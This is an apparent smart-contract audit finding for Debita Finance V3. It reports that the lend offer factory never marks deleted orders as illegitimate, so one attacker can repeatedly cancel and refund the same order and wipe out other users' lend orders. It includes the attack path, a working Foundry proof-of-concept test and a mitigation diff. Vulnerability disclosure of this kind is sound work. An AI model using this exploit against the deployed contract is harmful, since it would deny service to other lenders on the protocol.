Tame Hemp Pangolin

High

# A malicious user can delete all lend orders

### Summary

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/1465ba6884c4cc44f7fc28e51f792db346ab1e33/Debita-V3-Contracts/contracts/DebitaLendOfferFactory.sol#L207-L220
The protocol does not set the lend order as not legit after `DebitaLendOfferFactory::deleteOrder()` call which will lead to removing all lend orders, because `DebitaLendOffer-Implementation::cancelOffer()` can be called by the same lend order multiple times.

### Root Cause

The protocol does not set the lend order as not legit after the deletion.

```solidity
isLendOrderLegit[address(lendOffer)] = false;
```

Also, there is a `DebitaLendOffer-Implementation::addFunds()` function and using the both functions it is possible to call `DebitaLendOfferFactory::deleteOrder()` multiple times with same lend order.

### Internal pre-conditions

There should be at least one lend order for the attacker to act maliciously.

### External pre-conditions

_No response_

### Attack Path

1. Random users create lend orders
2. The malicious user creates a lend order with random input parameters only to pass the checks.
3. Calls `cancelOffer()` function on the malicious lend order. `cancelOffer()` internally calls `deleteOrder()` which will delete the lend order and update the state variables.

```solidity
DebitaLendOffer-Implementation

function cancelOffer() public onlyOwner nonReentrant {
    uint availableAmount = lendInformation.availableAmount;
    lendInformation.perpetual = false;
    lendInformation.availableAmount = 0;
    require(availableAmount > 0, "No funds to cancel");
    isActive = false;

    SafeERC20.safeTransfer(
        IERC20(lendInformation.principle),
        msg.sender,
        availableAmount
    );
    IDLOFactory(factoryContract).emitDelete(address(this));
    IDLOFactory(factoryContract).deleteOrder(address(this));
    // emit canceled event on factory
}
```

```solidity
DebitaLendOfferFactory

function deleteOrder(address _lendOrder) external onlyLendOrder {
    uint index = LendOrderIndex[_lendOrder];
    LendOrderIndex[_lendOrder] = 0;

    // switch index of the last borrow order to the deleted borrow order
    allActiveLendOrders[index] = allActiveLendOrders[activeOrdersCount - 1];
    LendOrderIndex[allActiveLendOrders[activeOrdersCount - 1]] = index;

    // take out last borrow order

    allActiveLendOrders[activeOrdersCount - 1] = address(0);

    activeOrdersCount--;
}
```

4. After that the malicious user calls `addFunds()` in order to pass the check for `availableAmount` for `cancelOffer()` function.

```solidity
DebitaLendOffer-Implementation

function addFunds(uint amount) public nonReentrant {
    require(
        msg.sender == lendInformation.owner ||
            IAggregator(aggregatorContract).isSenderALoan(msg.sender),
        "Only owner or loan"
    );
    SafeERC20.safeTransferFrom(
        IERC20(lendInformation.principle),
        msg.sender,
        address(this),
        amount
    );
    lendInformation.availableAmount += amount;
    IDLOFactory(factoryContract).emitUpdate(address(this));
}
```

5. Calls `cancelOffer()` on the same lend order again which deletes another lend order in factory.
6. Repeats the process until there is not any lend order left or to delete a specific lend order.

### Impact

The affected critical functions are `acceptLendingOffer` and `cancelOffer`. If a user tries to cancel their lend order, it will be impossible. If the aggregator calls `acceptLendingOffer` and the available amount is zero, the deleting of the lend order will be impossible.

### PoC

Create a test file in test directory and paste the following code.

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Test, console, stdError} from "forge-std/Test.sol";
import {DLOFactory} from "@contracts/DebitaLendOfferFactory.sol";
import {DLOImplementation} from "@contracts/DebitaLendOffer-Implementation.sol";

import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";

contract MockCollateral is ERC20Mock {}

interface IDLOImplementation {
    function cancelOffer() external;
    function addFunds(uint amount) external;
}

contract DebitaLendOfferFactoryTest is Test {
    DLOFactory public factory;
    DLOImplementation public dli;
    MockCollateral public collateral;
    address attacker = makeAddr("attacker");

    function setUp() public {
        dli = new DLOImplementation();
        factory = new DLOFactory(address(dli));
        collateral = new MockCollateral();
    }

    function testCreateLendOffer() public {
        collateral.mint(address(this), 100);
        collateral.approve(address(factory), 100);

        // Create 3 valid borrow offers
        // Assume the third one is malicious user's offer
        address[] memory lendOffers = new address[](3);
        for (uint i = 0; i < 3; i++) {
            address lendOffer = factory.createLendOrder(
                false,
                new bool[](0),
                true,
                new uint[](0),
                1,
                1,
                1,
                new address[](0),
                address(collateral),
                new address[](0),
                new uint[](0),
                address(0),
                10 + i
            );
            lendOffers[i] = lendOffer;
        }

        console.log("lendOffers[0]", lendOffers[0]);
        console.log("lendOffers[1]", lendOffers[1]);
        console.log("lendOffers[2]", lendOffers[2]);
        console.log("allActiveLendOrders[0]", factory.allActiveLendOrders(0));
        assertEq(factory.activeOrdersCount(), 3);

        console.log("----------------------------------------------");
        IDLOImplementation(lendOffers[2]).cancelOffer();
        console.log("after first cancelOffer");
        console.log("allActiveLendOrders[0]", factory.allActiveLendOrders(0));
        console.log("allActiveLendOrders[1]", factory.allActiveLendOrders(1));
        console.log("allActiveLendOrders[2]", factory.allActiveLendOrders(2));

        assertEq(factory.activeOrdersCount(), 2);

        console.log("----------------------------------------------");
        collateral.approve(address(lendOffers[2]), 10);
        IDLOImplementation(lendOffers[2]).addFunds(10);
        IDLOImplementation(lendOffers[2]).cancelOffer();
        console.log("after second cancelOffer");
        console.log("allActiveLendOrders[0]", factory.allActiveLendOrders(0));
        console.log("allActiveLendOrders[1]", factory.allActiveLendOrders(1));
        console.log("allActiveLendOrders[2]", factory.allActiveLendOrders(2));

        assertEq(factory.activeOrdersCount(), 1);

        console.log("----------------------------------------------");
        collateral.approve(address(lendOffers[2]), 10);
        IDLOImplementation(lendOffers[2]).addFunds(10);
        IDLOImplementation(lendOffers[2]).cancelOffer();
        console.log("after third cancelOffer");
        console.log("allActiveLendOrders[0]", factory.allActiveLendOrders(0));
        console.log("allActiveLendOrders[1]", factory.allActiveLendOrders(1));
        console.log("allActiveLendOrders[2]", factory.allActiveLendOrders(2));

        assertEq(factory.activeOrdersCount(), 0);

        vm.expectRevert(stdError.arithmeticError);
        IDLOImplementation(lendOffers[1]).cancelOffer();
    }
}
```

### Mitigation

The simplest mitigation is to set the lend order as not legit after the deletion.

```diff
function deleteOrder(address _lendOrder) external onlyLendOrder {
    uint index = LendOrderIndex[_lendOrder];
    LendOrderIndex[_lendOrder] = 0;

    // switch index of the last borrow order to the deleted borrow order
    allActiveLendOrders[index] = allActiveLendOrders[activeOrdersCount - 1];
    LendOrderIndex[allActiveLendOrders[activeOrdersCount - 1]] = index;

    // take out last borrow order

    allActiveLendOrders[activeOrdersCount - 1] = address(0);

    activeOrdersCount--;
+   isLendOrderLegit[address(_lendOrder)] = false;
}
```

Consider rewriting the whole logic in `deleteOrder()`.